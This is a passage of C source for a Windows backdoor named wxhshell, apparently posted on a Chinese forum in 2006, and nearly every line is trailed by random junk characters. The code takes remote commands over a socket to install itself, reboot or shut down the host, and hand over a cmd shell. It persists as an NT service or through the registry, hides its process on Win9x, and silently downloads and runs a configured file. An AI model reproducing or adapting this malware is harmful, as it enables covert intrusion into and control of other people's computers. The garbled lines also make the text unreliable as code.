      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {]"]uT#  
    break; Pnd `=%w%]  
  } ;<UWA.  
  // 安装 `ptj?6N-  
  case 'i': { n@ w^ V   
    if(Install()) V([~r,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]skkoM  
    else ?"z]A7<Hj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mxb06u _  
    break; *3T| M@Y  
    } h"H2z1$  
  // 卸载 k}KC/d9.z  
  case 'r': { YeF1C/'hy  
    if(Uninstall()) GTHkY*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <hwy*uBrD  
    else a0Ik`8^`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FgLrb#  
    break; _fZZ_0\Q  
    } WK="J6K5  
  // 显示 wxhshell 所在路径 w.& 1%X(k  
  case 'p': { '#(v=|J  
    char svExeFile[MAX_PATH]; 4t)%<4  
    strcpy(svExeFile,"\n\r"); %pXAeeSY`;  
      strcat(svExeFile,ExeFile); <C9 XX~  
        send(wsh,svExeFile,strlen(svExeFile),0); [F5h   
    break; ""s]zNF}  
    } `vc "Q/  
  // 重启 b)9'bJRvU  
  case 'b': { PMfkA!.Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W>q HFoKa  
    if(Boot(REBOOT)) z,{<Nm7&F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5%#^ZdsTd  
    else { wH~kTU2br  
    closesocket(wsh); 0\2\*I}?  
    ExitThread(0); K \vSB~{ [  
    } 0%) i<a!_Z  
    break; ~4?9a(>3  
    } V138d?Mm  
  // 关机 Z3!f^vAi&  
  case 'd': { O5H9Y}i]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hDV20&hq  
    if(Boot(SHUTDOWN)) :>itXD!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *6 _tQ9G  
    else { "*,XL uv>  
    closesocket(wsh); [o*7FEM|<  
    ExitThread(0); 4mn&4e  
    } ;Jd3u -  
    break; 6\61~u~  
    } I |# 5NE6  
  // 获取shell W+*5"h  
  case 's': { *m2=/Sh  
    CmdShell(wsh); F#|: `$ t  
    closesocket(wsh); ,t)x{I;C)  
    ExitThread(0); U35AX9/  
    break; \;rYo.+  
  } 3=W!4  
  // 退出 9o>8o  
  case 'x': { 5wUUx#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?8W( "W   
    CloseIt(wsh); g#]wLm#  
    break; .(Qx{r$  
    } ,RN:^5 p  
  // 离开 7OjR._@  
  case 'q': { w,Ee>cV]a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z"*/mP2  
    closesocket(wsh); 7z~_/mAI  
    WSACleanup(); -R{V-   
    exit(1); y1=N F  
    break; b,KcBQ.  
        } Ew3ibXD  
  } 8BvonY t=8  
  } jNeI2-9c}  
u !!X6<  
  // 提示信息 $cu00K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wCk~CkC?  
} P]z[v)}  
  } ]jpu,jz:  
b~-%c_  
  return; gNGr!3*)w  
} g R nOd  
t#!yrQ..'G  
// shell模块句柄 sZ?mP;Q  
int CmdShell(SOCKET sock) @,XSs  
{ 2 1PFR:lP7  
STARTUPINFO si; ![f ![l  
ZeroMemory(&si,sizeof(si)); sl*5Y#,|1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O0>A+o[1F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xAggn  
PROCESS_INFORMATION ProcessInfo; "*O4GPj  
char cmdline[]="cmd"; 2S' {!A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _j_x1.l  
  return 0; ' H7x L  
} d,$d~alY  
`yF`x8  
// 自身启动模式 !z{-?o/  
int StartFromService(void) z4E|Ai  
{ id?h>g  
typedef struct {)AMwq  
{ 4~U'TE @  
  DWORD ExitStatus; jmg!Ml  
  DWORD PebBaseAddress; pKS {6P  
  DWORD AffinityMask; mXUYQ 82  
  DWORD BasePriority; -Z-IF#%  
  ULONG UniqueProcessId; ](F#`zUQ  
  ULONG InheritedFromUniqueProcessId; 9_sA&2P{uV  
}   PROCESS_BASIC_INFORMATION; rxme(9M  
*%vwM7  
PROCNTQSIP NtQueryInformationProcess; `>o?CIdp  
{,OS-g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TE )gVE]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `mT$s,:h  
s}j1"@  
  HANDLE             hProcess; 7OW bAu;  
  PROCESS_BASIC_INFORMATION pbi; ~afg)[(  
q$G,KRy/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jgS%1/&  
  if(NULL == hInst ) return 0; ]59i>  
c]B$i*t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hm<}p&!J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N8`?t5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z0De!?ALV\  
2DD:~Tbi  
  if (!NtQueryInformationProcess) return 0; 7hy&-<  
rxO2QQ%V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fSDi- I  
  if(!hProcess) return 0; n&MG7`]N  
e?bYjJ q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 76.{0 c  
l^J75$7  
  CloseHandle(hProcess); OGiV{9U  
8P: Rg%0)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j PnM>=  
if(hProcess==NULL) return 0; }3R13   
XYoIFv?'  
HMODULE hMod; RllY-JBO  
char procName[255]; ;WL1B   
unsigned long cbNeeded; 6WoAs)ZF  
 Xtq{%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?X?&~3iD%  
(6v (9p  
  CloseHandle(hProcess); c"!lwm3b  
09o~9z0  
if(strstr(procName,"services")) return 1; // 以服务启动 }IEb yb  
aCV4AyG  
  return 0; // 注册表启动 zY+Fl~$S  
} >+5?F*`\D*  
;V<iL?  
// 主模块 DP/J (>eG  
int StartWxhshell(LPSTR lpCmdLine) P'MY[&|mM'  
{ }bU8G '  
  SOCKET wsl; /MQU >&  
BOOL val=TRUE; VDB;%U*D  
  int port=0; Hx$c N  
  struct sockaddr_in door; qz4^{  
S]sk7  
  if(wscfg.ws_autoins) Install(); %7`f{|.  
!QmzrX}h  
port=atoi(lpCmdLine); 63?)K s  
:Sg_t Of  
if(port<=0) port=wscfg.ws_port; p (FlR?= S  
k#bu#YZk  
  WSADATA data; JN6-Z2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9{j66  
c.\O/N   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9t@:4O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~](fFa{  
  door.sin_family = AF_INET; OPBt$Ki  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UueD(T;p  
  door.sin_port = htons(port); z=&z_}M8  
0:KE@=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e$c?}3E!z  
closesocket(wsl); (SVWdgb  
return 1; -oz`"&%  
} ^BZkHAp  
9]$8MY   
  if(listen(wsl,2) == INVALID_SOCKET) { ,D6v4<jh  
closesocket(wsl); m\ /(w_/?  
return 1; ZWV|# c<G  
} mYB`)M*Y  
  Wxhshell(wsl); :"0J=>PH:  
  WSACleanup(); b{DiM098  
PC c|}*b  
return 0; /\mKY%kyh  
zT~B 6  
} (wRBd  
=\)IaZ  
// 以NT服务方式启动 #0b&^QL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b4Y8N"hL%  
{ RnfXN)+P  
DWORD   status = 0; +kdySWF  
  DWORD   specificError = 0xfffffff; m xw dugr`  
"HM{b?N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OEr:xK2T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q4s&E\}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O gmO&cE  
  serviceStatus.dwWin32ExitCode     = 0; v;y0jD#b  
  serviceStatus.dwServiceSpecificExitCode = 0; xa( m5P  
  serviceStatus.dwCheckPoint       = 0; 2}}?'PwwT  
  serviceStatus.dwWaitHint       = 0; Ja]o GT=e  
?(KvQK|d4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3HyhEVR-#~  
  if (hServiceStatusHandle==0) return; O\;=V`z-  
YC_3n5F%  
status = GetLastError(); #iSFf  
  if (status!=NO_ERROR) u%O-;>J  
{ ]Pn !nSg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f7}"lG]q  
    serviceStatus.dwCheckPoint       = 0; z/&;{J  
    serviceStatus.dwWaitHint       = 0; TPO1 GF  
    serviceStatus.dwWin32ExitCode     = status; LE?u`i,e=+  
    serviceStatus.dwServiceSpecificExitCode = specificError; !a1i Un9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VS?@y/\In  
    return; `29TY&p+"  
  } '!v c/Hw  
Ccfwax+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~!%0Z9>ap  
  serviceStatus.dwCheckPoint       = 0; iZ[tHw||  
  serviceStatus.dwWaitHint       = 0; Q"a2.9Eo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z#`0txCF  
} {F*N=pSq  
;Hm'6TR!  
// 处理NT服务事件,比如:启动、停止  Kn+=lCk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b`cYpcs  
{ |pZo2F!.  
switch(fdwControl) gvli%9n  
{ p}]q d4j  
case SERVICE_CONTROL_STOP: >',y  
  serviceStatus.dwWin32ExitCode = 0; ;kaHN;4?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {7Cx#Ewd  
  serviceStatus.dwCheckPoint   = 0; aj|5 #  
  serviceStatus.dwWaitHint     = 0; o}8{Bh^  
  { t\j!K2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+z[\i  
  } ioIv=qGdiP  
  return; G2mNm'0  
case SERVICE_CONTROL_PAUSE: F N"rZWM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +?-qfp,:0  
  break; w`yx=i#  
case SERVICE_CONTROL_CONTINUE: UPCQs",  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; coQ[@vu  
  break; ){Z  
case SERVICE_CONTROL_INTERROGATE: yYAnwf  
  break; 4 9w=kzo  
}; Oo%!>!Lt,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AfWl6a?T8:  
} rFag@Z"["  
 :q2YBa  
// 标准应用程序主函数 K, (65>86;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 993d/z|DX  
{ Y4~vC[$ x'  
i|2$8G3  
// 获取操作系统版本 \3NS>v[1  
OsIsNt=GetOsVer(); I"!'AI-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ":WYcaSi  
jOv"<  
  // 从命令行安装 ;R1B9-,  
  if(strpbrk(lpCmdLine,"iI")) Install(); l[n@/%2  
^JhFI*  
  // 下载执行文件 e&J3N  
if(wscfg.ws_downexe) { QJ4AL3 ^6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HY;oy(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6c\DJD  
} :zL393(  
< tQc_  
if(!OsIsNt) { l=Wd,$\  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ZnN D1A  
HideProc(); OCx5/ 88X  
StartWxhshell(lpCmdLine); 2:J,2=%  
} KVijs1q  
else hYvNcOSks  
  if(StartFromService()) BF|*"#s  
  // 以服务方式启动 4: sl(r  
  StartServiceCtrlDispatcher(DispatchTable); { vfq  
else `mErF%b  
  // 普通方式启动 huAyjo  
  StartWxhshell(lpCmdLine); \y*j4 0  
Y$8; Gm<)  
return 0; N~g%wf@w  
}
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只看该作者 1 发表于: 2006-10-10
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